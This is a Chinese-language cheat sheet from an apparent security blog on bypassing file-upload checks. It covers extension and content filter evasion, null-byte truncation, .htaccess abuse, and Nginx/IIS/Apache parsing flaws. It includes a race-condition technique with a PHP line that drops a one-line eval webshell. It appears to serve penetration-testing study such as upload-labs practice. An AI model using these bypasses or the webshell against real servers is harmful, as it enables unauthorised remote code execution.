总体情况

文件上传姿势总结 | Darkless - 图1

20190826174104.png

判断上传漏洞类型

文件上传姿势总结 | Darkless - 图2

20190826174133.png

上传绕过方法

前端 JS 校验

  1. 禁用 js
  2. 修改 js 代码中禁止上传的白名单或黑名单
  3. 抓包改包

服务端检查文件名后缀

  1. 黑名单:
  • 上传服务器可解析的其它格式后缀,例如 php3,phtml,asa,cer 等
  • 修改后缀为大写,或者大小写混合
  • 后缀名后面加点或者空格
  • 后缀名后面加::$DATA
  • *.php. . (点 + 空格 + 点)
  • 双写后缀名绕过:当服务器利用函数(如 str_ireplace 函数)将敏感的后缀名替换为空时,双写后缀名,如.pphphp即可绕过
  • 上传. 7z 压缩包绕过:.7z 是一种压缩包文件的格式,我们上传 cmd.php.7z 文件,再访问该文件时能够正常访问到 php 页面,这属于 Apache 解析漏洞,Apache 解析文件 时,如果后缀名不认识,则会继续想前解析,会解析到 php, 这就是 Apache 的解析漏洞
  • 上传图片🐎配合文件包含利用.htaccess文件:内容为SetHandler application/x-httpd-php,上传的所有文件都会被当做 php 文件进行解析,前提是需要服务器相关配置开启
  1. 白名单:
  • 上传图片🐎配合文件包含利用
  • 0x00 截断:原理同 %00 截断,只不过是通过 POST 方式传递参数,需要通过 Burp 在十六进制形式中修改
  • 利用 %00 截断 move_uploaded_file 函数,只解析 %00 前的字符,%00 后的字符不解析,通常运用在 GET 方式,因为 GET 方式传入能自动进行 URL 解码

服务端检查文件内容

  1. 修文件为图片头标识绕过
  1. shellJPEG/JPG: FF D8
  2. PNG: 89 50
  3. GIF: 47 49
  1. 上传图片🐎配合文件包含

服务器端检查文件内容后重新渲染

参考:https://xz.aliyun.com/t/2657

POC 地址:POC

服务器端会将文件重命名或者重新移动

代码中先上传再进行验证,发现不合格的文件,客户端返回报错之后,再进行删除。很容易想到条件竞争的利用。
使用如下的 hack.php

PHP

  1. <?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST["x"]) ?>'); ?>

上传 hack.php,发现不合格的文件就会被 unlink 函数删除掉,但在多线程并发的情况下:即多次上传 hack.php 的同时,多次访问 hack.php,就会出现 hack.php 成功访问执行的情况,即成功写入一句话木马。

上传后再通过 rename 函数重命名。我们可以观察这关的白名单中存在压缩包的后缀名

PHP

  1. var $cls_arr_ext_accepted = array(
  2. ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  3. ".html", ".xml", ".tiff", ".jpeg", ".png" );

我们可以利用条件竞争,通过多线程发送上传后缀名为. php.7z 的文件的包,当服务器还未来得及将文件改名时访问上传的 webshell

逻辑漏洞绕过

参考 uploads-lab pass-20

中间件解析漏洞

1.Apache

  • 遇到不认识的后缀名会向前解析

2.nginx

  1. Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME。当访问 www.xx.com/phpinfo.jpg/1.php这个URL时,
  2. $fastcgi_script_name会被设置为 phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
  3. 这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
  4. PHP会认为SCRIPTFILENAMEphpinfo.jpg,而1.phpPATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了
  5. **漏洞形式**:

php

  1. www.xxxx.com/UploadFiles/image/1.jpg/1.php
  2. www.xxxx.com/UploadFiles/image/1.jpg %00.php
  3. www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

3.IIS

  • IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。

  • 使用 iis5.x-6.x 版本的服务器,大多为 windows server 2003,网站比较古老,开发语句一般为 asp;该解析漏洞也只能解析 asp 文件,而不能解析 aspx 文件。
    目录解析 (6.0)
    形式:www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把. asp,.asp 目录下的文件都解析成 asp 文件。
    形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析; 号后面的内容,因此 xx.asp;.jpg 便被解析成 asp 文件了。 解析文件类型
    IIS6.0 默认的可执行文件除了 asp 还包含这三种 : asa, cer, cdx

参考